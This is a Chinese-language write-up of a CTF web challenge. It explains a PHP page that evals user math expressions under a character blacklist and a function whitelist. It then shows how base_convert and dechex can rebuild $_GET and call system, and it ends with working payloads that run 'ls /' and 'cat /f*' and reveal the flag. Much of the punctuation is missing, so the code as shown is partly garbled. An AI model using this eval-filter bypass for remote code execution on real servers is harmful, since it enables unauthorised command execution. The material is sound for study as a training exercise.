打开题目便是一段代码?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){ show_source(__FILE__); }else{ $content $_GET[c]; //如果没有在url中通过GET传参数c就显示当前PHP文件源代码否则将参数c的值赋给$content if (strlen($content) 80) { die(太长了不会算); } //但是$content的长度不能大于80 $blacklist [ , \t, \r, \n,\, , , \[, \]]; foreach ($blacklist as $blackitem) { //foreach是 PHP 的循环语句作用是逐个取出$blacklist数组中的元素并把当前元素赋值给变量$blackitem。 //遍历黑名单数组中的每一个禁止字符 if (preg_match(/ . $blackitem . /m, $content)) { die(请不要输入奇奇怪怪的字符); } //检查$content中的内容中是否包含禁止的字符如果包含就停止运行代码然后返回请不要输入奇奇怪怪的字符 } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh]; //白名单共有50个数学函数其中包含base_convert函数通过base_convert将数字转换为字符串 preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); //preg_match_all()会匹配所有符合规则的结果并把结果存入第三个参数$used_funcs中。 //如果$content abs(123) tan(45) - eval(xxx)那么$used_funcs[0]会得到[abs, tan, eval]。 foreach ($used_funcs[0] as $func) { //遍历$used_funcs[0]数组把当前遍历到的函数名赋值给变量$func。 if (!in_array($func, $whitelist)) { //in_array($func, $whitelist)PHP 内置函数检查$func是否存在于$whitelist数组中存在则返回true否则返回false。 die(请不要输入奇奇怪怪的函数); } } //帮你算出答案 eval(echo .$content.;); }我们可以利用动态函数调用白名单仅检查显式写出的函数名不检查动态生成的函数名所以我们可以利用base_convert函数将数字转换为字符串再调用该函数不能使用空格和引号我们可以使用括号和逗号来直接传递参数例如?cbase_convert(55490343972,10,36)(0)就是phpinfo(0)将十进制数55490343972 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35所以base_convert(55490343972,10,36)表示的就是phpinfohex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式所以我们可以先使用base_convert函数将hex2bin() 函数构造出来base_convert(37907361743,10,36) 表示的就是 hex2bin而hex2bin(5f474554) 转换完就是 _GET但是吧5f474554中存在以字母开头的子字符串f474554但是可以使用 dechex()函数将10进制数转换为16进制的数dechex(1598506324)就是等于5f474554所以_GET就等于base_convert(37907361743,10,36)(dechex(1598506324))这行的目的是绕过后端关键词过滤构造出$_GET这个超全局变量名$pi的值是_GET所以$$pi等价于$_GET我们可以通过c参数传递 “读取pi参数的逻辑”最终让代码去读取 URL 里独立的pi参数值所以payload?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowls /在php中数组访问可以用{}来代替[],所以$_GET{pi}等价于$_GET[pi]所以$_GET[pi] system → $$pi{pi} system所以$_GET[pow] ls / → $$pi{pow} ls /所以($$pi{pi})($$pi{pow})就是 (system)(ls /)查看flag?c$pibase_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})pisystempowcat /f*flag{65b17e9b-884d-406e-8678-b89d4cdfb073}